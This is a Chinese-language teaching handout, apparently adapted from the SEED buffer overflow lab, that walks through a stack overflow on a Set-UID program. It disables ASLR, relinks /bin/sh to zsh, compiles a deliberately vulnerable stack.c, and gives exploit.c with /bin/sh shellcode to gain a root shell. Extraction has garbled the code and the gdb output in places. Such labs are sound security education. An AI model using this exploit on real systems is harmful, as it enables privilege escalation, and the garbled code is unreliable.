版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
緩沖區(qū)溢出漏洞實(shí)驗(yàn)III一,實(shí)驗(yàn)描述緩沖區(qū)溢出是指程序試圖向緩沖區(qū)寫入超出預(yù)分配固定長(zhǎng)度數(shù)據(jù)的情況。這一漏洞可以被惡意用戶利用來改變程序的流控制,甚至執(zhí)行代碼的任意片段。這一漏洞的出現(xiàn)是由于數(shù)據(jù)緩沖器和返回地址的暫時(shí)關(guān)閉,溢出會(huì)引起返回地址被重寫。二、實(shí)驗(yàn)準(zhǔn)備本次實(shí)驗(yàn)為了方便觀察匯編語句,我們需要在32位環(huán)境下作操作,因此實(shí)驗(yàn)之前需要做一些準(zhǔn)備。1、 輸入命令安裝一些用于編譯32位C程序的東西:sudoapt-getupdatesudoapt-getinstalllib32z1libc6-dev-i386sudoapt-getinstalllib32readline-gplv2-dev2、 輸入命令“l(fā)inux32”進(jìn)入32位linux環(huán)境。此時(shí)你會(huì)發(fā)現(xiàn),命令行用起來沒那么爽了,比如不能tab補(bǔ)全了,所以輸入“/bin/bash”使用bash:Jinux32shLyanlou: $一1訕蝦32_$/bin/bashsfnyanTou@55496946188c:-$|4實(shí)驗(yàn)樓^ihiyanloui.corTi三、實(shí)驗(yàn)步驟3.1初始設(shè)置,實(shí)驗(yàn)樓▼shiyQUbuntu和其他一些Linux系統(tǒng)中,使用地址空間隨機(jī)化來隨機(jī)堆(heap)和棧(stack)的初始地址,這使得猜測(cè)準(zhǔn)確的內(nèi)存地址變得十分困難,而猜測(cè)內(nèi)存地址是緩沖區(qū)溢出攻擊的關(guān)鍵。因此本次實(shí)驗(yàn)中,我們使用以下命令關(guān)閉這一功能:sudosysctl-wkernel.randomize_va_space=0此外,為了進(jìn)一步防范緩沖區(qū)溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調(diào)用時(shí)自動(dòng)放棄它們的特權(quán)。因此,即使你能欺騙一個(gè)Set-UID程序調(diào)用一個(gè)shell,也不能在這個(gè)shell中保持root權(quán)限,這個(gè)防護(hù)措施在/bin/bash中實(shí)現(xiàn)。linux系統(tǒng)中,/bin/sh實(shí)際是指向/bin/bash或/bin/dash的一個(gè)符號(hào)鏈接。為了重現(xiàn)這一防護(hù)措施被實(shí)現(xiàn)之前的情形,我們使用另一個(gè)shell程序(zsh)代替/bin/bash。下面的指令描述了如何設(shè)置zsh程序:sudosucd/binrmshln-szshshexit3.2shellcode一般情況下,緩沖區(qū)溢出會(huì)造成程序崩潰,在程序中,溢出的數(shù)據(jù)覆蓋了返回地址。而如果覆蓋返回地址的數(shù)據(jù)是另一個(gè)地址,那么程序就會(huì)跳轉(zhuǎn)到該地址,如果該地址存放的是一段精心設(shè)計(jì)的代碼用于實(shí)現(xiàn)其他功能,這段代碼就是shellcode。觀察以下代碼:#include<stdio.h>intmain()(char*name[2];name[0]="/bin/sh”;name[〔]=NULL;execve(name[0],name,NULL);}本次實(shí)驗(yàn)的shellcode,就是剛才代碼的匯編版本:\x31\xc0\x50\x68"http://sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x803.3漏洞程序把以下代碼保存為“stack.c"文件,保存到/tmp目錄下。代碼如下:/*stack.c*//*Thisprogramhasabufferoverflowvulnerability.*//*Ourtaskistoexploitthisvulnerability*/#include<stdlib.h>#include<stdio.h>#include<string.h>intbof(char*str)(charbuffer[12];/*Thefollowingstatementhasabufferoverflowproblem*/strcpy(buffer,str);return1;}intmain(intargc,char**argv)(charstr[517];FILE*badfile;badfile=fopen("badfile","r");fread(str,sizeof(char),517,badfile);bof(str);printf("ReturnedProperly\n");return1;}通過代碼可以知道,程序會(huì)讀取一個(gè)名為"badfile”的文件,并將文件內(nèi)容裝入"buffer”。編譯該程序,并設(shè)置SET-UID。命令如下:sudosugcc-m32-g-zexecstack-fno-stack-protector-ostackstack.cchmodu+sstackexitGCC編譯器有一種棧保護(hù)機(jī)制來阻止緩沖區(qū)溢出,所以我們?cè)诰幾g代碼時(shí)需要用-fno-stack-protector關(guān)閉這種機(jī)制。而-zexecstack用于允許執(zhí)行棧。3.4攻擊程序我們的目的是攻擊剛才的漏洞程序,并通過攻擊獲得root權(quán)限。把以下代碼保存為"exploit.c”文件,保存到/tmp目錄下。代碼如下:/*exploit.c*//*Aprogramthatcreatesafilecontainingcodeforlaunchingshell*/#include<stdlib.h>#include<stdio.h>#include<string.h>charshellcode[]="\x31\xc0"http://xorl%eax,%eax"\x50"http://pushl%eax"\x68""http://sh"http://pushl$0x68732f2f"\x68""/bin"http://pushl$0x6e69622f"\x89\xe3" //movl%esp,%ebx"\x50" //pushl %eax"\x53" //pushl %ebx"\x89\xe1" //movl%esp,%ecx"\x99" //cdq"\xb0\x0b" //movb$0x0b,%al"\xcd\x80" //int$0x80;voidmain(intargc,char**argv)(charbuffer[517];FILE*badfile;/*Initializebufferwith0x90(NOPinstruction)*/memset(&buffer,0x90,517);/*Youneedtofillthebufferwithappropriatecontentshere*/Strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");strcpy(buffer+100,shellcode);/*Savethecontentstothefile"badfile"*/badfile=fopen("./badfile","w");fwrite(buffer,517,1,badfile);fclose(badfile);}注意上面的代碼,“\x??\x??\x??\x??"處需要添上shellcode保存在內(nèi)存中的地址,因?yàn)榘l(fā)生溢出后這個(gè)位置剛好可以覆蓋返回地址。而strcpy(buffer+100,shellcode);這一句又告訴我們shellcode保存在buffer+100的位置?,F(xiàn)在我們要得到shellcode在內(nèi)存中的地址,輸入命令:gdbstackdisassmain結(jié)果如圖:接下來的操作:,實(shí)驗(yàn)樓▼shiyflnlQu.corri實(shí)驗(yàn)樓官方網(wǎng)站:0x0804852e<+82>:mov%eax,(%espj0x08048531<+85>:call0x80484bd<bof>0x08048536<+90>:novi$0x80485ea,(%esp)0x0804853d<+97>:call0x8048380<puts@plt>0x08048542<+102>:mov$0x1,%eax0x08048547<+107>:leave0x08048548<+108>:ret—Type<return>tocontinue,orq<return>toquit—Endofassemblerdump.(gdb)|b*G)x?8€)484e8| 置斷點(diǎn)Breakpoint1at0x80484e8:filestack.c,line22.(gdb)QStartingprogram:/tmp/stackBreakpoint1,main(argc=l,argv=0xffffd474)atstack.c:2222 file=fopen("badfile",”「");(gdb)|i「$esp| _ ― 一一一^str地:此!實(shí)驗(yàn)樓esp |0xffffdlb0|^TffffdlbO(gdb)I根據(jù)語句strcpy(buffer+100,shellcode);我們計(jì)算shellcode的地址為0xffffd1b0(十六進(jìn)制)+100(十進(jìn)制)=0xffffd214(十六進(jìn)制)現(xiàn)在修改exploit.c文件!將\x??\x??\x??\x??修改為\x14\xd2\xff\xff然后,編譯exploit.c程序:gcc-m32-oexploitexploit.c3.5攻擊結(jié)果先運(yùn)行攻擊程序exploit,再運(yùn)行漏洞程序stack,觀察結(jié)果:可見,通過攻擊,獲得了root權(quán)限!如果不能攻擊成功,提示"段錯(cuò)誤",那么請(qǐng)重新使用gdb反匯編,計(jì)算內(nèi)存地址。四、練習(xí)1、 按照實(shí)驗(yàn)步驟進(jìn)行操作,攻擊漏洞程序并獲得root權(quán)限。2、 通過命令”sudosysctl-wkernel.randomize_va_space=2"打開系統(tǒng)的地址空間隨機(jī)化機(jī)制,重復(fù)用exploit程序攻擊stack程序,觀察能否攻擊成功,能否獲得root權(quán)限.,實(shí)驗(yàn)樓▼shiyQ3^將/bin/sh重新指向/bin/bash(或/bin/dash),觀察能否攻擊成功,能否獲得root權(quán)限。以上練習(xí)請(qǐng)?jiān)趯?shí)驗(yàn)樓環(huán)境完成并截圖。License本課程所涉及的實(shí)驗(yàn)來自SyracuseSEEDlabs,并在此基礎(chǔ)上為適配實(shí)驗(yàn)樓網(wǎng)站環(huán)境進(jìn)行修改,修改后的實(shí)驗(yàn)文檔仍然遵循GNUFreeDocumentationLicense。本課程文檔github鏈接:/shiyanlou/seedlab附SyracuseSEEDlabs版權(quán)聲明:CopyrightStatementCopyright2006-2014WenliangDu,SyracuseUniversity.ThedevelopmentofthisdocumentisfundedbytheNationalScienceFoundation’sCourse,Curriculum,andLaboratoryImprovement(CCLI)programunderAwardNo.0618680and0231122.Permissionisgrantedtocopy,distributean
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 二零二五版墊資贖樓業(yè)務(wù)風(fēng)險(xiǎn)控制合同2篇
- 2024電商技術(shù)服務(wù)合同3篇
- 2024年版市區(qū)高級(jí)公寓租賃合同版B版
- 2025年度玩具OEM貼牌加工安全標(biāo)準(zhǔn)合同3篇
- 2025年房屋貸款延期合同3篇
- 二零二五年度火鍋店餐飲服務(wù)承包合同范本2篇
- 二零二五年度跨境電商產(chǎn)業(yè)園房地產(chǎn)收購合同3篇
- 2024版打膠合同書
- 二零二五年度智能機(jī)器人OEM委托研發(fā)與市場(chǎng)拓展合同
- 西南科技大學(xué)《西方音樂史(二)》2023-2024學(xué)年第一學(xué)期期末試卷
- 2025年工程合作協(xié)議書
- 2025年山東省東營市東營區(qū)融媒體中心招聘全媒體采編播專業(yè)技術(shù)人員10人歷年高頻重點(diǎn)提升(共500題)附帶答案詳解
- 2025年宜賓人才限公司招聘高頻重點(diǎn)提升(共500題)附帶答案詳解
- 六年級(jí)下冊(cè)第四單元語文園地-語文園地四-學(xué)習(xí)任務(wù)單
- 《新聞采訪寫作》課程思政優(yōu)秀教學(xué)案例(一等獎(jiǎng))
- 竣工驗(yàn)收程序流程圖
- 清華經(jīng)管工商管理碩士研究生培養(yǎng)計(jì)劃
- 口腔科診斷證明書模板
- 管溝挖槽土方計(jì)算公式
- 國網(wǎng)浙江省電力公司住宅工程配電設(shè)計(jì)技術(shù)規(guī)定
- 煙花爆竹零售應(yīng)急預(yù)案
評(píng)論
0/150
提交評(píng)論